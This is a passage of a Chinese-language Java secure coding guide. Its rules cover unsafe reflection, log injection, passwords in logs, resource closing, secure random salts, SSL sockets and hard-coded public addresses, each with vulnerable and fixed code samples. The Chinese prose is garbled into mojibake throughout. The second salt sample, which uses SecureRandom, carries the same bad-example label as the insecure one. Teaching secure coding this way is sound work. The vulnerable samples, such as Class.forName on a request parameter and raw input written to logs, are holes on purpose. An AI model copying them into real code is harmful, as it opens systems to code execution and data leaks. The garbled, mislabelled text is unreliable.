"\\.com"; Pattern searchPattern = Pattern.compile(regex); ... ``` 上é¢çš„代ç 示例ä¸ï¼Œä½¿ç”¨å¤–部指定的keywordæž„é€ æ£åˆ™ï¼Œå½“外部输入ä¸ä½¿ç”¨äº†é‡å¤æ€§åˆ†ç»„,å¯èƒ½ä¼šå¯¼è‡´æœ€ç»ˆçš„æ£åˆ™å˜åœ¨ReDos风险。在实际开å‘代ç 过程ä¸ï¼Œåº”é¿å…直接使用外部数æ®æž„é€ æ£åˆ™æˆ–直接使用外部数æ®ä½œä¸ºæ£åˆ™ä½¿ç”¨ã€‚ ## ç¦æ¢ç›´æŽ¥ä½¿ç”¨å¤–部数æ®ä½œä¸ºåå°„æ“作ä¸çš„ç±»å/方法å **ã€æ述】** åå°„æ“作ä¸ç›´æŽ¥ä½¿ç”¨å¤–部数æ®ä½œä¸ºç±»å或方法å,会导致系统执行éžé¢„期的逻辑æµç¨‹ï¼ˆUnsafe Reflection)。这å¯è¢«æ¶æ„用户利用æ¥ç»•è¿‡å®‰å…¨æ£€æŸ¥æˆ–执行任æ„代ç 。当åå°„æ“作需è¦ä½¿ç”¨å¤–部数æ®æ—¶ï¼Œå¿…须对外部数æ®è¿›è¡Œç™½åå•æ ¡éªŒï¼Œæ˜Žç¡®å…许访问的类或方法列表;å¦å¤–也å¯ä»¥é€šè¿‡è®©ç”¨æˆ·åœ¨æŒ‡å®šèŒƒå›´å†…选择的方å¼è¿›è¡Œé˜²æŠ¤ã€‚ **ã€å例】** ```java String className = request.getParameter("class"); ... Class objClass = Class.forName(className); BaseClass obj = (BaseClass) objClass.newInstance(); obj.doSomething(); ``` 上述代ç 示例ä¸ï¼Œç›´æŽ¥ä½¿ç”¨å¤–部指定的类å通过åå°„æž„é€ äº†ä¸€ä¸ªå¯¹è±¡ï¼Œæ¶æ„用户å¯åˆ©ç”¨æ¤å¤„æž„é€ ä¸€ä¸ªä»»æ„çš„`BaseClass`å类的对象,当æ¶æ„用户å¯æŽ§åˆ¶`BaseClass`çš„æŸä¸ªå类时,则å¯åœ¨è¯¥å类的`doSomething()`方法ä¸æ‰§è¡Œä»»æ„代ç 。å¦å¤–æ¶æ„用户还å¯ä»¥åˆ©ç”¨æ¤ä»£ç 执行任æ„ç±»çš„é»˜è®¤æž„é€ æ–¹æ³•ï¼Œå³ä½¿åœ¨è¿›è¡Œç±»åž‹è½¬æ¢æ—¶æŠ›å‡º`ClassCastException`,æ¶æ„ç”¨æˆ·é¢„æœŸçš„æž„é€ æ–¹æ³•ä¸çš„代ç 也已ç»æ‰§è¡Œã€‚ **ã€æ£ä¾‹ã€‘** ```java String classIndex = request.getParameter("classIndex"); String className = (String) reflectClassesMap.get(classIndex); if (className != null) { Class objClass = Class.forName(className); BaseClass obj = (BaseClass) objClass.newInstance(); obj.doSomething(); } else { throw new IllegalStateException("Invalid reflect class!"); } ... ``` 上述示例代ç ä¸ï¼Œå¤–部åªèƒ½æŒ‡å®šè¦å射的类的代å·ï¼Œå½“代å·å¯æ˜ 射为一个指定的类å时,执行åå°„æ“作,å¦åˆ™åˆ¤æ–为éžæ³•å‚数。 # 日志 #### ç¦æ¢ç›´æŽ¥ä½¿ç”¨å¤–部数æ®è®°å½•æ—¥å¿— **ã€æ述】** 直接将外部数æ®è®°å½•åˆ°æ—¥å¿—ä¸ï¼Œå¯èƒ½å˜åœ¨ä»¥ä¸‹é£Žé™©ï¼š - 日志注入:æ¶æ„用户å¯åˆ©ç”¨å›žè½¦ã€æ¢è¡Œç‰å—符注入一æ¡å®Œæ•´çš„日志; - æ•æ„Ÿä¿¡æ¯æ³„露:当用户输入æ•æ„Ÿä¿¡æ¯æ—¶ï¼Œç›´æŽ¥è®°å½•åˆ°æ—¥å¿—ä¸å¯èƒ½ä¼šå¯¼è‡´æ•æ„Ÿä¿¡æ¯æ³„露; - 垃圾日志或日志覆盖:当用户输入的是很长的å—符串,直接记录到日志ä¸å¯èƒ½ä¼šå¯¼è‡´äº§ç”Ÿå¤§é‡åžƒåœ¾æ—¥å¿—ï¼›å½“æ—¥å¿—è¢«å¾ªçŽ¯è¦†ç›–æ—¶ï¼Œè¿™æ ·è¿˜å¯èƒ½ä¼šå¯¼è‡´æœ‰æ•ˆæ—¥å¿—被æ¶æ„覆盖。 所以外部数æ®åº”å°½é‡é¿å…直接记录到日志ä¸ï¼Œå¦‚果必须è¦è®°å½•åˆ°æ—¥å¿—ä¸ï¼Œè¦è¿›è¡Œå¿…è¦çš„æ ¡éªŒåŠè¿‡æ»¤å¤„ç†ï¼Œå¯¹äºŽè¾ƒé•¿å—符串å¯ä»¥æˆªæ–。对于记录到日志ä¸çš„æ•°æ®å«æœ‰æ•æ„Ÿä¿¡æ¯æ—¶ï¼Œå¯¹äºŽç§˜é’¥ã€å£ä»¤ç±»çš„æ•æ„Ÿä¿¡æ¯ï¼Œå°†è¿™äº›æ•æ„Ÿä¿¡æ¯æ›¿æ¢ä¸ºå›ºå®šé•¿åº¦çš„*,对于其他类的æ•æ„Ÿä¿¡æ¯ï¼ˆå¦‚手机å·ã€é‚®ç®±ç‰ï¼‰ï¼Œå…ˆè¿›è¡ŒåŒ¿å化处ç†ã€‚ **ã€å例】** ```java String jsonData = getRequestBodyData(request); if (!validateRequestData(jsonData)) { LOG.error("Request data validate fail! Request Data : " + jsonData); } ``` 上述代ç ä¸ï¼Œå½“请求的jsonæ•°æ®æ ¡éªŒå¤±è´¥ï¼Œä¼šç›´æŽ¥å°†jsonå—符串记录到日志ä¸ï¼Œå½“jsonå—符串ä¸å«æœ‰æ•æ„Ÿä¿¡æ¯ï¼Œä¼šå¯¼è‡´æ•æ„Ÿä¿¡æ¯æ³„露的风险,当æ¶æ„用户å‘jsonå—符串ä¸é€šè¿‡å›žè½¦æ¢è¡Œç¬¦æ³¨å…¥ä¼ªé€ çš„æ—¥å¿—ä¼šé€ æˆæ—¥å¿—注入问题,当jsonå—符串比较长时,会导致日志冗余。 **ã€æ£ä¾‹ã€‘** 外部数æ®è®°å½•åˆ°æ—¥å¿—ä¸å‰ï¼Œå°†å…¶ä¸çš„\r\nç‰å¯¼è‡´æ¢è¡Œçš„å—符进行替æ¢ï¼Œæ¶ˆé™¤æ³¨å…¥é£Žé™©ã€‚如下代ç 为其ä¸ä¸€ç§å®žçŽ°æ–¹å¼ï¼š ```java public String replaceCRLF(String message) { if (message == null) { return ""; } return message.replace('\n', '_').replace('\r', '_'); } ``` #### ç¦æ¢åœ¨æ—¥å¿—ä¸è®°å½•å£ä»¤ã€å¯†é’¥ç‰æ•æ„Ÿä¿¡æ¯ **ã€æ述】** 在日志ä¸ä¸èƒ½è®°å½•å£ä»¤ã€å¯†é’¥ç‰æ•æ„Ÿä¿¡æ¯ï¼ŒåŒ…括这些æ•æ„Ÿä¿¡æ¯çš„åŠ å¯†å¯†æ–‡ï¼Œé˜²æ¢äº§ç”Ÿæ•æ„Ÿä¿¡æ¯æ³„éœ²é£Žé™©ã€‚è‹¥å› ä¸ºç‰¹æ®ŠåŽŸå› å¿…é¡»è¦è®°å½•æ—¥å¿—,应用固定长度的星å·ï¼ˆ*)代替这些æ•æ„Ÿä¿¡æ¯ã€‚ **ã€å例】** ```java private static final Logger LOGGER = Logger.getLogger(TestCase1.class); ... LOGGER.info("Login success, user is " + userName + ", password is " + encrypt(pwd.getBytes(StandardCharsets.UTF_8))); ``` **ã€æ£ä¾‹ã€‘** ```java private static final Logger LOGGER = Logger.getLogger(TestCase1.class); ... LOGGER.info("Login success, user is " + userName + ", password is ********."); ``` # 性能和资æºç®¡ç† #### 进行IOç±»æ“作时,必须在try-with-resource或finally里关é—èµ„æº **ã€æ述】** 申请的资æºä¸å†ä½¿ç”¨æ—¶ï¼Œéœ€è¦åŠæ—¶é‡Šæ”¾ã€‚而在产生异常时,资æºé‡Šæ”¾å¸¸è¢«å¿½è§†ã€‚å› æ¤è¦æ±‚在IOã€æ•°æ®åº“æ“作ç‰éœ€è¦æ˜¾å¼è°ƒç”¨å…³é—方法如`close()`释放资æºæ—¶ï¼Œå¿…须在try-catch-finallyçš„finallyä¸è°ƒç”¨å…³é—方法。如果有多个IO对象需è¦`close()`,需è¦åˆ†åˆ«å¯¹æ¯ä¸ªå¯¹è±¡çš„`close()`方法进行try-catch,防æ¢ä¸€ä¸ªIO对象关é—失败导致其他IO对象都未关é—,ä¿è¯äº§ç”Ÿå¼‚常时释放已申请的资æºã€‚ Java 7有自动资æºç®¡ç†çš„特性try-with-resource,ä¸éœ€æ‰‹åŠ¨å…³é—。它优先于try-finallyï¼Œè¿™æ ·å¾—åˆ°çš„ä»£ç å°†æ›´åŠ ç®€æ´ã€æ¸…晰,产生的异常也更有价值。特别是对于多个资æºæˆ–异常时,try-finallyå¯èƒ½ä¸¢å¤±æŽ‰å‰é¢çš„异常,而try-with-resource会ä¿ç•™ç¬¬ä¸€ä¸ªå¼‚常,并把åŽç»çš„异常作为Suppressed exceptions,å¯é€šè¿‡`getSuppressed()`返回的数组æ¥æ£€éªŒã€‚ try-finally也常用于`lock()`å’Œ`unlock()`ç‰åœºæ™¯ã€‚ **ã€æ£ä¾‹ã€‘** ```java try (FileInputStream in = new FileInputStream(inputFileName); FileOutputStream out = new FileOutputStream(outputFileName)) { copy(in, out); } ``` # 其他 #### 全场景下必须使用密ç å¦æ„义上的安全éšæœºæ•° **ã€æ述】** ä¸å®‰å…¨çš„éšæœºæ•°å¯èƒ½è¢«éƒ¨åˆ†æˆ–全部预测到,导致系统å˜åœ¨å®‰å…¨éšæ‚£ï¼Œå®‰å…¨åœºæ™¯ä¸‹ä½¿ç”¨çš„éšæœºæ•°å¿…须是密ç å¦æ„义上的安全éšæœºæ•°ã€‚密ç å¦æ„义上的安全éšæœºæ•°åˆ†ä¸ºä¸¤ç±»ï¼š - 真éšæœºæ•°äº§ç”Ÿå™¨äº§ç”Ÿçš„éšæœºæ•°ï¼› - 以真éšæœºæ•°äº§ç”Ÿå™¨äº§ç”Ÿçš„å°‘é‡éšæœºæ•°ä½œä¸ºç§å的密ç å¦å®‰å…¨çš„伪éšæœºæ•°äº§ç”Ÿå™¨äº§ç”Ÿçš„大é‡éšæœºæ•°ã€‚ Javaä¸çš„`SecureRandom`是一ç§å¯†ç å¦å®‰å…¨çš„伪éšæœºæ•°äº§ç”Ÿå™¨ï¼Œå¯¹äºŽä½¿ç”¨éžçœŸéšæœºæ•°äº§ç”Ÿå™¨äº§ç”Ÿéšæœºæ•°æ—¶ï¼Œè¦ä½¿ç”¨å°‘é‡çœŸéšæœºæ•°ä½œä¸ºç§å。 常è§å®‰å…¨åœºæ™¯åŒ…括但ä¸é™äºŽä»¥ä¸‹åœºæ™¯ï¼š - 用于密ç 算法用途,如生æˆIVã€ç›å€¼ã€å¯†é’¥ç‰ï¼› - 会è¯æ ‡è¯†ï¼ˆsessionId)的生æˆï¼› - 挑战算法ä¸çš„éšæœºæ•°ç”Ÿæˆï¼› - 验è¯ç çš„éšæœºæ•°ç”Ÿæˆï¼› **ã€å例】** ```java public byte[] generateSalt() { byte[] salt = new byte[8]; Random random = new Random(123456L); random.nextBytes(salt); return salt; } ``` `Random`生æˆæ˜¯ä¸å®‰å…¨éšæœºæ•°ï¼Œä¸èƒ½ç”¨åšç›å€¼ã€‚ **ã€å例】** ```java public byte[] generateSalt() { byte[] salt = new byte[8]; SecureRandom random = new SecureRandom(); random.nextBytes(salt); return salt; } ``` #### 必须使用SSLSocket代替Socketæ¥è¿›è¡Œå®‰å…¨æ•°æ®äº¤äº’ **ã€æ述】** 当网络通信ä¸æ¶‰åŠæ˜Žæ–‡çš„æ•æ„Ÿä¿¡æ¯æ—¶ï¼Œéœ€è¦ä½¿ç”¨SSLSocket而ä¸æ˜¯Socket,Socket是明文通信,攻击者å¯ä»¥é€šè¿‡ç½‘络监å¬èŽ·å–å…¶ä¸çš„æ•æ„Ÿä¿¡æ¯ï¼Œé€šè¿‡ä¸é—´äººæ”»å‡»å¯¹æŠ¥æ–‡è¿›è¡Œæ¶æ„篡改。SSLSocket是在Socket的基础上进行了一个层安全性ä¿æŠ¤ï¼ŒåŒ…括身份认è¯ã€æ•°æ®åŠ 密和完整性ä¿æŠ¤ã€‚ **ã€å例】** ```java try { Socket socket = new Socket(); socket.connect(new InetSocketAddress(ip, port), 10000); os = socket.getOutputStream(); os.write(userInfo.getBytes(StandardCharsets.UTF_8)); ... } catch (IOException ex) { // 处ç†å¼‚常 } finally { // å…³é—æµ } ``` 上述代ç ä¸ä½¿ç”¨socketæ¥æ˜Žæ–‡ä¼ 输报文信æ¯ï¼ŒæŠ¥æ–‡ä¸çš„æ•æ„Ÿä¿¡æ¯å˜åœ¨æ³„露åŠç¯¡æ”¹çš„风险。 **ã€æ£ä¾‹ã€‘** ```java try { SSLSocketFactory sslSocketFactory = (SSLSocketFactory) SSLSocketFactory.getDefault(); SSLSocket sslSocket = (SSLSocket) sslSocketFactory.createSocket(ip, port); os = sslSocket.getOutputStream(); os.write(userInfo.getBytes(StandardCharsets.UTF_8)); ... } catch (IOException ex) { // 处ç†å¼‚常 } finally { // å…³é—æµ } ``` 该æ£ç¡®ä»£ç 示例ä¸ï¼ŒSSLSocketæ¥ä½¿ç”¨SSL/TLS安全åè®®ä¿æŠ¤ä¼ 输的报文。 **ã€ä¾‹å¤–】** å› ä¸ºSSLSocketæä¾›çš„æŠ¥æ–‡å®‰å…¨ä¼ è¾“æœºåˆ¶ï¼Œå°†é€ æˆå·¨å¤§çš„性能开销。在以下情况下,普通的套接å—å°±å¯ä»¥æ»¡è¶³éœ€æ±‚: - 套接å—ä¸Šä¼ è¾“çš„æ•°æ®ä¸æ•æ„Ÿã€‚ - æ•°æ®è™½ç„¶æ•æ„Ÿï¼Œä½†æ˜¯å·²ç»è¿‡æ°å½“åŠ å¯†ã€‚ #### ç¦æ¢ä»£ç ä¸åŒ…å«å…¬ç½‘åœ°å€ **ã€çº§åˆ«ã€‘** è¦æ±‚ **ã€æ述】** 代ç 或脚本ä¸åŒ…å«ç”¨æˆ·ä¸å¯è§ï¼Œä¸å¯çŸ¥çš„公网地å€ï¼Œå¯èƒ½ä¼šå¼•èµ·å®¢æˆ·è´¨ç–‘。 对产å“å‘布的软件(包å«è½¯ä»¶åŒ…/è¡¥ä¸åŒ…)ä¸åŒ…å«çš„公网地å€ï¼ˆåŒ…括公网IP地å€ã€å…¬ç½‘URL地å€/域åã€é‚®ç®±åœ°å€ï¼‰è¦æ±‚如下: 1ã€ç¦æ¢åŒ…å«ç”¨æˆ·ç•Œé¢ä¸å¯è§ã€æˆ–产å“资料未æ述的未公开的公网地å€ã€‚ 2ã€å·²å…¬å¼€çš„公网地å€ç¦æ¢å†™åœ¨ä»£ç 或者脚本ä¸ï¼Œå¯ä»¥å˜å‚¨åœ¨é…置文件或数æ®åº“ä¸ã€‚ 对于开æº/第三方软件自带的公网地å€å¿…须至少满足上述第1æ¡å…¬å¼€æ€§è¦æ±‚。 **ã€ä¾‹å¤–】** å¯¹äºŽæ ‡å‡†åè®®ä¸å¿…须指定公网地å€çš„场景å¯ä¾‹å¤–,如soapåè®®ä¸å‡½æ•°çš„命å空间必须指定的一个组装的公网URLã€http页é¢ä¸åŒ…å«w3.org网å€ã€XML解æžå™¨ä¸çš„Featureåç‰ã€‚